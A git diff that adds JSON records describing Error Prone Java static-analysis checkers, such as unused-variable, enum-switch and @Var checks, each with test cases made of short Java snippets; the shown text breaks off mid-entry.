class Suppressed {\n @SuppressWarnings({\"deprecation\", \"unused\"})\n class UsesSuppressWarning {\n private int f1;\n\n private void test1() {\n int local;\n }\n\n @SuppressWarnings(value = \"unused\")\n private void test2() {\n int local;\n }\n }\n }" + }, + { + "description": "unusedStaticField", + "expected-problems": null, + "expected-linenumbers": [ + 585 + ], + "code": "package unusedvars;\n\n import java.util.ArrayList;\n import java.util.List;\n\n public class UnusedStaticField {\n // BUG: Diagnostic contains: is never read\n private static final List DATA = new ArrayList<>();\n }" + }, + { + "description": "unusedStaticPrivate", + "expected-problems": null, + "expected-linenumbers": [ + 604 + ], + "code": "package unusedvars;\n\n public class UnusedStaticPrivate {\n // BUG: Diagnostic contains: is never read\n private static final String NOT_USED_CONST_STR = \"unused_test\";\n static final String CONST_STR = \"test\";\n }" + }, + { + "description": "unusedTryResource", + "expected-problems": null, + "expected-linenumbers": [ + 621 + ], + "code": "package unusedvars;\n\n public class UnusedTryResource {\n public static void main(String[] args) {\n try (A a = new A()) {}\n }\n }\n\n class A implements AutoCloseable {\n public void close() {}\n }" + }, + { + "description": "removal_javadocsAndNonJavadocs", + "expected-problems": null, + "expected-linenumbers": [ + 642 + ], + "code": "package unusedvars;\n\n public class UnusedWithComment {\n /** Comment for a field */\n @SuppressWarnings(\"test\")\n private Object field;\n }\n \n\n package unusedvars;\n\n public class UnusedWithComment {}" + }, + { + "description": "removal_trailingComment", + "expected-problems": null, + "expected-linenumbers": [ + 666 + ], + "code": "public class Test {\n public static final int A = 1; // foo\n\n private static final int B = 2;\n }\n \n\n public class Test {\n public static final int A = 1; // foo\n }" + }, + { + "description": "removal_javadocAndSingleLines", + "expected-problems": null, + "expected-linenumbers": [ + 688 + ], + "code": "public class Test {\n public static final int A = 1; // foo\n\n /** Javadoc. */\n // TODO: fix\n // BUG: bug\n private static final int B = 2;\n }\n \n\n public class Test {\n public static final int A = 1; // foo\n }" + }, + { + "description": "unusedWithComment_interspersedComments", + "expected-problems": null, + "expected-linenumbers": [ + 733 + ], + "code": "package unusedvars;\n\n public class UnusedWithComment {\n private static final String foo = null, // foo\n // BUG: Diagnostic contains:\n bar = null;\n\n public static String foo() {\n return foo;\n }\n }" + }, + { + "description": "utf8Handling", + "expected-problems": null, + "expected-linenumbers": [ + 754 + ], + "code": "package unusedvars;\n\n public class Utf8Handling {\n private int foo = 1;\n\n public void test() {\n System.out.println(\"広\");\n for (int i = 0; i < 10; ++i) {\n // BUG: Diagnostic contains: is never read\n int notUsedLocal = calculate();\n }\n System.out.println(foo);\n }\n\n int calculate() {\n return ++foo;\n }\n }" + }, + { + "description": "methodAnnotationsExemptingParameters", + "expected-problems": null, + "expected-linenumbers": [ + 782 + ], + "code": "package unusedvars;\n\n class A {\n {\n foo(1);\n }\n\n @B\n private static void foo(int a) {}\n }\n\n @interface B {}" + }, + { + "description": "usedUnaryExpression", + "expected-problems": null, + "expected-linenumbers": [ + 806 + ], + "code": "package unusedvars;\n\n import java.util.Map;\n import java.util.HashMap;\n\n public class Test {\n private int next = 1;\n private Map xs = new HashMap<>();\n\n public int frobnicate(String s) {\n Integer x = xs.get(s);\n if (x == null) {\n x = next++;\n xs.put(s, x);\n }\n return x;\n }\n }" + }, + { + "description": "unusedInject", + "expected-problems": null, + "expected-linenumbers": [ + 834 + ], + "code": "" + }, + { + "description": "unusedInjectConstructorParameter", + "expected-problems": null, + "expected-linenumbers": [ + 852 + ], + "code": "package unusedvars;\n\n import javax.inject.Inject;\n\n public class Test {\n @Inject\n Test(\n // BUG: Diagnostic contains:\n String foo) {}\n }" + }, + { + "description": "unusedInjectMethodParameter", + "expected-problems": null, + "expected-linenumbers": [ + 872 + ], + "code": "package unusedvars;\n\n import com.google.inject.Provides;\n\n class Test {\n @Provides\n public String test(\n // BUG: Diagnostic contains:\n String foo) {\n return \"test\";\n }\n }" + }, + { + "description": "unusedInject_notByDefault", + "expected-problems": null, + "expected-linenumbers": [ + 894 + ], + "code": "package unusedvars;\n\n import javax.inject.Inject;\n\n public class Test {\n @Inject Object foo;\n @Inject public Object bar;\n }" + }, + { + "description": "variableKeepingSideEffects", + "expected-problems": null, + "expected-linenumbers": [ + 912 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private final ImmutableList foo = ImmutableList.of();\n\n void test() {\n ImmutableList foo = ImmutableList.of();\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n {\n ImmutableList.of();\n }\n\n void test() {\n ImmutableList.of();\n }\n }" + }, + { + "description": "variableRemovingSideEffects", + "expected-problems": null, + "expected-linenumbers": [ + 947 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private final ImmutableList foo = ImmutableList.of();\n\n void test() {\n ImmutableList foo = ImmutableList.of();\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n void test() {}\n }" + }, + { + "description": "exemptedFieldsByType", + "expected-problems": null, + "expected-linenumbers": [ + 975 + ], + "code": "import org.junit.rules.TestRule;\n\n class Test {\n private TestRule rule;\n }" + }, + { + "description": "findingBaseSymbol", + "expected-problems": null, + "expected-linenumbers": [ + 990 + ], + "code": "class Test {\n int a;\n\n void test() {\n Test o = new Test();\n ((Test) o).a = 1;\n (((o))).a = 1;\n Test p = new Test();\n id(p).a = 1;\n }\n\n Test id(Test t) {\n return t;\n }\n }" + }, + { + "description": "fixPrivateMethod_usagesToo", + "expected-problems": null, + "expected-linenumbers": [ + 1015 + ], + "code": "class Test {\n int a = foo(1);\n\n private int foo(int b) {\n b = 1;\n return 1;\n }\n }\n \n\n class Test {\n int a = foo();\n\n private int foo() {\n return 1;\n }\n }" + }, + { + "description": "fixPrivateMethod_parameterLocations", + "expected-problems": null, + "expected-linenumbers": [ + 1044 + ], + "code": "class Test {\n int a = foo(1, 2, 3) + bar(1, 2, 3) + baz(1, 2, 3);\n\n private int foo(int a, int b, int c) {\n return a * b;\n }\n\n private int bar(int a, int b, int c) {\n return b * c;\n }\n\n private int baz(int a, int b, int c) {\n return a * c;\n }\n }\n \n\n class Test {\n int a = foo(1, 2) + bar(2, 3) + baz(1, 3);\n\n private int foo(int a, int b) {\n return a * b;\n }\n\n private int bar(int b, int c) {\n return b * c;\n }\n\n private int baz(int a, int c) {\n return a * c;\n }\n }" + }, + { + "description": "fixPrivateMethod_varArgs", + "expected-problems": null, + "expected-linenumbers": [ + 1088 + ], + "code": "class Test {\n int a = foo(1, 2, 3, 4);\n\n private int foo(int a, int... b) {\n return a;\n }\n }\n \n\n class Test {\n int a = foo(1);\n\n private int foo(int a) {\n return a;\n }\n }" + }, + { + "description": "fixPrivateMethod_varArgs_noArgs", + "expected-problems": null, + "expected-linenumbers": [ + 1116 + ], + "code": "class Test {\n int a = foo(1);\n\n private int foo(int a, int... b) {\n return a;\n }\n }\n \n\n class Test {\n int a = foo(1);\n\n private int foo(int a) {\n return a;\n }\n }" + }, + { + "description": "enumField", + "expected-problems": null, + "expected-linenumbers": [ + 1145 + ], + "code": "enum Test {\n ONE(\"1\", 1) {};\n private String a;\n\n private Test(String a, int x) {\n this.a = a;\n }\n\n String a() {\n return a;\n }\n }\n \n\n enum Test {\n ONE(\"1\") {};\n private String a;\n\n private Test(String a) {\n this.a = a;\n }\n\n String a() {\n return a;\n }\n }" + }, + { + "description": "onlyEnumField", + "expected-problems": null, + "expected-linenumbers": [ + 1184 + ], + "code": "enum Test {\n ONE(1) {};\n\n private Test(int x) {}\n }\n \n\n enum Test {\n ONE() {};\n\n private Test() {}\n }" + }, + { + "description": "sideEffectFix", + "expected-problems": null, + "expected-linenumbers": [ + 1208 + ], + "code": "class Test {\n private static final int[] xs = new int[0];\n }\n \n\n class Test {}" + }, + { + "description": "sideEffectFieldFix", + "expected-problems": null, + "expected-linenumbers": [ + 1226 + ], + "code": "class Test {\n private int x = 1;\n\n public int a() {\n x = a();\n return 1;\n }\n }\n \n\n class Test {\n public int a() {\n a();\n return 1;\n }\n }" + }, + { + "description": "blockFixTest", + "expected-problems": null, + "expected-linenumbers": [ + 1255 + ], + "code": "class Test {\n void foo() {\n int a = 1;\n if (hashCode() > 0) a = 2;\n }\n }\n \n\n class Test {\n void foo() {\n if (hashCode() > 0) {}\n }\n }" + }, + { + "description": "unusedAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 1280 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n Integer a = 1;\n a.hashCode();\n // BUG: Diagnostic contains: assignment to\n a = 2;\n }\n }" + }, + { + "description": "unusedAssignment_messages", + "expected-problems": null, + "expected-linenumbers": [ + 1300 + ], + "code": "package unusedvars;\n\n public class Test {\n public int test() {\n // BUG: Diagnostic contains: This assignment to the local variable\n int a = 1;\n a = 2;\n int b = a;\n int c = b;\n // BUG: Diagnostic contains: This assignment to the local variable\n b = 2;\n b = 3;\n return b + c;\n }\n }" + }, + { + "description": "unusedAssignment_nulledOut_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 1325 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n Integer a = 1;\n a.hashCode();\n a = null;\n }\n }" + }, + { + "description": "unusedAssignment_nulledOut_thenAssignedAgain", + "expected-problems": null, + "expected-linenumbers": [ + 1344 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n Integer a = 1;\n a.hashCode();\n a = null;\n a = 2;\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public void test() {\n Integer a = 1;\n a.hashCode();\n a = null;\n }\n }" + }, + { + "description": "unusedAssignment_initialAssignmentNull_givesWarning", + "expected-problems": null, + "expected-linenumbers": [ + 1377 + ], + "code": "package unusedvars;\n\n public class Test {\n public String test() {\n String a = null;\n hashCode();\n a = toString();\n return a;\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public String test() {\n hashCode();\n String a = toString();\n return a;\n }\n }" + }, + { + "description": "unusedAssignmentAfterUse", + "expected-problems": null, + "expected-linenumbers": [ + 1410 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n int a = 1;\n System.out.println(a);\n a = 2;\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public void test() {\n int a = 1;\n System.out.println(a);\n }\n }" + }, + { + "description": "unusedAssignmentWithFinalUse", + "expected-problems": null, + "expected-linenumbers": [ + 1441 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n int a = 1;\n a = 2;\n a = 3;\n System.out.println(a);\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public void test() {\n int a = 3;\n System.out.println(a);\n }\n }" + }, + { + "description": "assignmentUsedInExpression", + "expected-problems": null, + "expected-linenumbers": [ + 1473 + ], + "code": "package unusedvars;\n\n public class Test {\n public int test() {\n int a = 1;\n a = a * 2;\n return a;\n }\n }" + }, + { + "description": "assignmentToParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1492 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test(int a) {\n a = 2;\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public void test(int a) {}\n }" + }, + { + "description": "assignmentToParameter_thenUsed", + "expected-problems": null, + "expected-linenumbers": [ + 1518 + ], + "code": "package unusedvars;\n\n public class Test {\n public int test(int a) {\n a = 2;\n return a;\n }\n }" + }, + { + "description": "assignmentToEnhancedForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 1536 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test(Iterable as) {\n for (int a : as) {\n System.out.println(a);\n a = 2;\n }\n }\n }\n \n\n package unusedvars;\n\n public class Test {\n public void test(Iterable as) {\n for (int a : as) {\n System.out.println(a);\n }\n }\n }" + }, + { + "description": "assignmentWithinForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 1569 + ], + "code": "public class Test {\n public void test() {\n for (int a = 0; a < 10; a = a + 1) {}\n }\n }" + }, + { + "description": "assignmentSeparateFromDeclaration_noComplaint", + "expected-problems": null, + "expected-linenumbers": [ + 1584 + ], + "code": "package unusedvars;\n\n public class Test {\n public void test() {\n int a;\n a = 1;\n System.out.println(a);\n }\n }" + }, + { + "description": "unusedAssignment_negatives", + "expected-problems": null, + "expected-linenumbers": [ + 1603 + ], + "code": "package unusedvars;\n\n public class Test {\n public int frobnicate() {\n int a = 1;\n if (hashCode() == 0) {\n a = 2;\n }\n return a;\n }\n }" + }, + { + "description": "exemptedMethods", + "expected-problems": null, + "expected-linenumbers": [ + 1624 + ], + "code": "package unusedvars;\n\n import java.io.IOException;\n import java.io.ObjectStreamException;\n\n public class Unuseds implements java.io.Serializable {\n private void readObject(java.io.ObjectInputStream in) throws IOException {}\n\n private void writeObject(java.io.ObjectOutputStream out) throws IOException {}\n\n private Object readResolve() {\n return null;\n }\n\n private void readObjectNoData() throws ObjectStreamException {}\n }" + }, + { + "description": "unusedReassignment_removeSideEffectsFix", + "expected-problems": null, + "expected-linenumbers": [ + 1650 + ], + "code": "import java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport static java.util.stream.Collectors.toList;\n\npublic class Test {\n public void f(List> lists) {\n List result =\n lists.stream().collect(ArrayList::new, Collection::addAll, Collection::addAll);\n result = lists.stream().collect(ArrayList::new, ArrayList::addAll, ArrayList::addAll);\n }\n}\n\n\n import java.util.ArrayList;\n import java.util.Collection;\n import java.util.List;\n import static java.util.stream.Collectors.toList;\n\n public class Test {\n public void f(List> lists) {}\n }" + }, + { + "description": "unusedReassignment_keepSideEffectsFix", + "expected-problems": null, + "expected-linenumbers": [ + 1685 + ], + "code": "import java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\nimport static java.util.stream.Collectors.toList;\n\npublic class Test {\n public void f(List> lists) {\n List result =\n lists.stream().collect(ArrayList::new, Collection::addAll, Collection::addAll);\n result = lists.stream().collect(ArrayList::new, ArrayList::addAll, ArrayList::addAll);\n }\n}\n\n\n import java.util.ArrayList;\n import java.util.Collection;\n import java.util.List;\n import static java.util.stream.Collectors.toList;\n\n public class Test {\n public void f(List> lists) {\n lists.stream().collect(ArrayList::new, Collection::addAll, Collection::addAll);\n lists.stream().collect(ArrayList::new, ArrayList::addAll, ArrayList::addAll);\n }\n }" + }, + { + "description": "simpleRecord", + "expected-problems": null, + "expected-linenumbers": [ + 1723 + ], + "code": "// public record SimpleRecord(Integer foo, Long bar) {}\n //\\" + }, + { + "description": "nestedRecord", + "expected-problems": null, + "expected-linenumbers": [ + 1736 + ], + "code": "public class SimpleClass {\n public record SimpleRecord(Integer foo, Long bar) {}\n }" + }, + { + "description": "recordWithStaticFields", + "expected-problems": null, + "expected-linenumbers": [ + 1750 + ], + "code": "public class SimpleClass {\n public record MyRecord(int foo) {\n private static int a = 1;\n private static int b = 1;\n // BUG: Diagnostic contains: is never read\n private static int c = 1;\n\n public MyRecord {\n foo = Math.max(a, foo);\n }\n }\n\n public int b() {\n return MyRecord.b;\n }\n }" + }, + { + "description": "nestedPrivateRecord", + "expected-problems": null, + "expected-linenumbers": [ + 1780 + ], + "code": "public class SimpleClass {\n private record SimpleRecord(Integer foo, Long bar) {}\n }" + }, + { + "description": "nestedPrivateRecordCompactCanonicalConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 1794 + ], + "code": "" + }, + { + "description": "nestedPrivateRecordNormalCanonicalConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 1811 + ], + "code": "public class SimpleClass {\n private record SimpleRecord(Integer foo, Long bar) {\n private SimpleRecord(Integer foo, Long bar) {\n this.foo = foo;\n this.bar = bar;\n }\n }\n }" + }, + { + "description": "unusedRecordConstructorParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1830 + ], + "code": "public record SimpleRecord(int x) {\n // BUG: Diagnostic contains: The parameter 'b' is never read\n private SimpleRecord(int a, int b) {\n this(a);\n }\n }" + }, + { + "description": "unusedInRecord", + "expected-problems": null, + "expected-linenumbers": [ + 1846 + ], + "code": "public class SimpleClass {\n public record SimpleRecord(Integer foo, Long bar) {\n void f() {\n // BUG: Diagnostic contains: is never read\n int x = foo;\n }\n }\n }" + }, + { + "description": "manyUnusedAssignments_terminalAssignmentBecomesVariable", + "expected-problems": null, + "expected-linenumbers": [ + 1864 + ], + "code": "public class Test {\n public void test() {\n Integer a = 1;\n a = 2;\n a = 3;\n a.hashCode();\n }\n }\n \n\n public class Test {\n public void test() {\n Integer a = 3;\n a.hashCode();\n }\n }" + }, + { + "description": "unusedVariable_withinPrivateInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 1892 + ], + "code": "class Test {\n private class Inner {\n // BUG: Diagnostic contains:\n public int foo = 1;\n }\n }" + }, + { + "description": "parcelableCreator_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 1908 + ], + "code": "import android.os.Parcelable;\n\n class Test {\n private static final Parcelable.Creator CREATOR = null;\n }" + }, + { + "description": "nestedParameterRemoval", + "expected-problems": null, + "expected-linenumbers": [ + 1925 + ], + "code": "class Test {\n private int foo(int a, int b) {\n return b;\n }\n\n void test() {\n foo(foo(1, 2), 2);\n }\n }\n \n\n class Test {\n private int foo(int b) {\n return b;\n }\n\n void test() {\n foo(2);\n }\n }" + }, + { + "description": "unusedFunctionalInterfaceParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1957 + ], + "code": "import java.util.Collections;\n import java.util.Comparator;\n import java.util.List;\n\n class Test {\n public void test(List xs) {\n // BUG: Diagnostic contains: 'b' is never read\n Collections.sort(xs, (a, b) -> a > a ? 1 : 0);\n Collections.sort(xs, (a, unused) -> a > a ? 1 : 0);\n }\n\n public class TestComparator implements Comparator {\n @Override\n // BUG: Diagnostic contains: 'b' is never read\n public int compare(Integer a, Integer b) {\n return a;\n }\n\n public void foo(int a, int b) {}\n }\n }" + }, + { + "description": "unusedWithinAnotherVariableTree", + "expected-problems": null, + "expected-linenumbers": [ + 1988 + ], + "code": "import java.util.Collections;\n import java.util.Comparator;\n import java.util.List;\n\n class Test {\n public void test(List xs) {\n var unusedLocal =\n xs.stream()\n .sorted(\n // BUG: Diagnostic contains: 'b' is never read\n (a, b) -> a > a ? 1 : 0);\n }\n }" + }, + { + "description": "unusedFunctionalInterfaceParameter_noFix", + "expected-problems": null, + "expected-linenumbers": [ + 2011 + ], + "code": "import java.util.Collections;\n import java.util.Comparator;\n import java.util.List;\n\n class Test {\n public void test(List xs) {\n Collections.sort(xs, (a, b) -> a > a ? 1 : 0);\n Collections.sort(xs, (a, unused) -> a > a ? 1 : 0);\n Collections.sort(\n xs,\n new Comparator() {\n @Override\n public int compare(Integer a, Integer b) {\n return a;\n }\n });\n }\n }" + }, + { + "description": "parameterUsedInOverride", + "expected-problems": null, + "expected-linenumbers": [ + 2040 + ], + "code": "public class App {\n private static class Base {\n protected void doStuff(String usedInDescendants) {}\n }\n\n private static class Descendant extends Base {\n @Override\n protected void doStuff(String actuallyUsed) {\n System.out.println(actuallyUsed);\n }\n }\n\n public static void main(String[] args) {\n Base b = new Descendant();\n b.doStuff(\"some string\");\n }\n }" + }, + { + "description": "underscoreVariable", + "expected-problems": null, + "expected-linenumbers": [ + 2068 + ], + "code": "class Test {\n public static void main(String[] args) {\n var _ = new Object();\n }\n }" + }, + { + "description": "testParameters", + "expected-problems": null, + "expected-linenumbers": [ + 2085 + ], + "code": "import org.junit.Test;\n\n class FooTest {\n @Test\n // BUG: Diagnostic contains:\n public void foo(int xs) {}\n }" + }, + { + "description": "patternMatchingInstanceof_variableUnused", + "expected-problems": null, + "expected-linenumbers": [ + 2103 + ], + "code": "class Test {\n private boolean eq(Object o) {\n return o instanceof Test t;\n }\n }\n \n\n class Test {\n private boolean eq(Object o) {\n return o instanceof Test;\n }\n }" + }, + { + "description": "patternMatchingInstanceof_variableUnused", + "expected-problems": null, + "expected-linenumbers": [ + 2103 + ], + "code": "class Test {\n private boolean eq(Object o) {\n return o instanceof Test t;\n }\n }\n \n\n class Test {\n private boolean eq(Object o) {\n return o instanceof Test;\n }\n }" + }, + { + "description": "patternMatchingInstanceofs_variableUsed", + "expected-problems": null, + "expected-linenumbers": [ + 2127 + ], + "code": "class Test {\n private int a;\n\n private boolean eq(Object o) {\n return o instanceof Test t && a == t.a;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseCorrectAssertInTests.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseCorrectAssertInTests.json new file mode 100644 index 0000000..06e4bda --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseCorrectAssertInTests.json @@ -0,0 +1,198 @@ +{ + "name": "UseCorrectAssertInTests", + "language": "java", + "description": "Java assert is used in testing code. For testing purposes, prefer using Truth-based assertions.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 177, + "branches": 26, + "apis": 2, + "test": [ + { + "description": "correctAssertInTest", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "noAssertInTestsFound", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "" + }, + { + "description": "diagnosticIssuedAtFirstAssert", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "" + }, + { + "description": "assertInNonTestMethod", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "" + }, + { + "description": "assertInTestOnlyCode", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "" + }, + { + "description": "assertInNonTestCode", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "" + }, + { + "description": "wrongAssertInTestWithParentheses", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "" + }, + { + "description": "wrongAssertInTestWithoutParentheses", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "" + }, + { + "description": "wrongAssertInTestWithDetailString", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "" + }, + { + "description": "wrongAssertInTestWithDetailStringVariable", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "" + }, + { + "description": "wrongAssertInTestWithDetailNonStringVariable", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "" + }, + { + "description": "wrongAssertFalseCase", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "" + }, + { + "description": "wrongAssertEqualsCase", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "" + }, + { + "description": "wrongAssertEqualsNullCase", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "" + }, + { + "description": "wrongAssertEqualsNullCaseLeftSide", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "" + }, + { + "description": "wrongAssertEqualsNullCaseWithDetail", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "" + }, + { + "description": "wrongAssertNotEqualsNullCase", + "expected-problems": null, + "expected-linenumbers": [ + 305 + ], + "code": "" + }, + { + "description": "wrongAssertReferenceSameCase", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "" + }, + { + "description": "wrongAssertReferenceWithParensCase", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "" + }, + { + "description": "wrongAssertReferenceNotSameCase", + "expected-problems": null, + "expected-linenumbers": [ + 360 + ], + "code": "" + }, + { + "description": "wrongAssertEqualsPrimitiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "" + }, + { + "description": "wrongAssertNotEqualsPrimitiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 396 + ], + "code": "" + }, + { + "description": "wrongAssertReferenceSameCaseWithDetailCase", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseEnumSwitch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseEnumSwitch.json new file mode 100644 index 0000000..ada060c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UseEnumSwitch.json @@ -0,0 +1,38 @@ +{ + "name": "UseEnumSwitch", + "language": "java", + "description": "Prefer using a switch instead of a chained if-else for enums", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n enum E {\n ONE,\n TWO,\n THREE\n }\n\n int f(E e) {\n if (e.equals(E.ONE)) {\n return 1;\n } else if (e.equals(E.TWO)) {\n return 2;\n } else {\n return 3;\n }\n }\n }\n \n\n class Test {\n enum E {\n ONE,\n TWO,\n THREE\n }\n\n int f(E e) {\n switch (e) {\n case ONE:\n return 1;\n case TWO:\n return 2;\n default:\n return 3;\n }\n }\n }" + }, + { + "description": "nonConstantEnum", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test {\n enum E {\n ONE,\n TWO,\n THREE;\n\n E one() {\n return ONE;\n }\n }\n\n int f(E e) {\n if (e == e.one()) {\n return 1;\n } else if (e == E.TWO) {\n return 2;\n } else {\n return 3;\n }\n }\n }" + }, + { + "description": "notActuallyEnum_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "class Test {\n interface A {}\n\n enum E implements A {\n ONE,\n TWO,\n THREE\n }\n\n int f(A e) {\n if (e.equals(E.ONE)) {\n return 1;\n } else if (e.equals(E.TWO)) {\n return 2;\n } else {\n return 3;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarChecker.json new file mode 100644 index 0000000..5c3fee7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/VarChecker.json @@ -0,0 +1,230 @@ +{ + "name": "VarChecker", + "language": "java", + "description": "Non-constant variable missing @Var annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 19, + "apis": 2, + "test": [ + { + "description": "nonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n public int x = 42;\n }" + }, + { + "description": "finalField", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "positiveParam", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n // BUG: Diagnostic contains: public void x(@Var int y) {\n public void x(int y) {\n y++;\n }\n }\n \n\n class Test {\n public void x() {\n // BUG: Diagnostic contains: @Var int y = 0;\n int y = 0;\n y++;\n }\n }\n \n\n class Test {\n public void x() {\n // BUG: Diagnostic contains: /*START*/ int y = 0;\n /*START*/ final int y = 0;\n }\n }\n \n\n class Test {\n {\n for (int i = 0; i < 10; i++) {}\n }\n }\n \n\n class Test {\n void f(Iterable xs) {\n for (String x : xs) {}\n }\n }\n \n\n class Test {\n // BUG: Diagnostic contains: native void f(int y);\n native void f(final int y);\n }\n \n\n import com.google.errorprone.annotations.Var;\n\n class Test {\n @Var public int x = 42;\n }\n \n\n import com.google.errorprone.annotations.Var;\n\n class Test {\n public void x(@Var int y) {\n y++;\n }\n }\n \n\n import com.google.errorprone.annotations.Var;\n\n class Test {\n public void x() {\n @Var int y = 0;\n y++;\n }\n }\n \n\n class Test {\n public void x() {\n try {\n // BUG: Diagnostic contains: missing @Var\n } catch (Exception e) {\n e = null;\n }\n }\n }\n \n\n class Test {\n public void x() {\n try {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n } catch (final Exception e) {\n }\n }\n }\n \n\n import java.io.InputStream;\n\n class Test {\n public void x() {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n try (final InputStream is = null) {\n } catch (Exception e) {\n }\n }\n }\n \n\n import java.io.InputStream;\n\n class Test {\n public void x() {\n try (InputStream is = null) {\n } catch (Exception e) {\n }\n }\n }\n \n\n class Test {\n public void f(Test this, int x) {\n this.toString();\n }\n }\n \n\n import javax.annotation.processing.Generated;\n\n @Generated(\"generator\")\n class Test {\n public void x() {\n final int y = 0;\n }\n }\n \n\n @SuppressWarnings(\"Var\")\n class Test {\n public void x() {\n final int y = 0;\n }\n }\n \n\n @SuppressWarnings(\"Foo\")\n class Test {\n public void x() {\n // BUG: Diagnostic contains: Unnecessary 'final' modifier.\n final int y = 0;\n }\n }\n \n\n import com.google.errorprone.annotations.Var;\n\n class Test {\n int f(\n // BUG: Diagnostic contains: @Var variable is never modified\n @Var int x, @Var int y) {\n y++;\n return x + y;\n }\n }\n \n\n // BUG: Diagnostic contains:\n public record Test(String x) {\n public Test {\n x = x.replace('_', ' ');\n }\n }" + }, + { + "description": "negativeParam", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "" + }, + { + "description": "positiveLocal", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "class Test {\n public void x() {\n // BUG: Diagnostic contains: @Var int y = 0;\n int y = 0;\n y++;\n }\n }" + }, + { + "description": "negativeLocal", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "" + }, + { + "description": "finalLocal7", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "" + }, + { + "description": "finalLocal8", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "class Test {\n public void x() {\n // BUG: Diagnostic contains: /*START*/ int y = 0;\n /*START*/ final int y = 0;\n }\n }" + }, + { + "description": "forLoop", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "class Test {\n {\n for (int i = 0; i < 10; i++) {}\n }\n }" + }, + { + "description": "enhancedFor", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "class Test {\n void f(Iterable xs) {\n for (String x : xs) {}\n }\n }" + }, + { + "description": 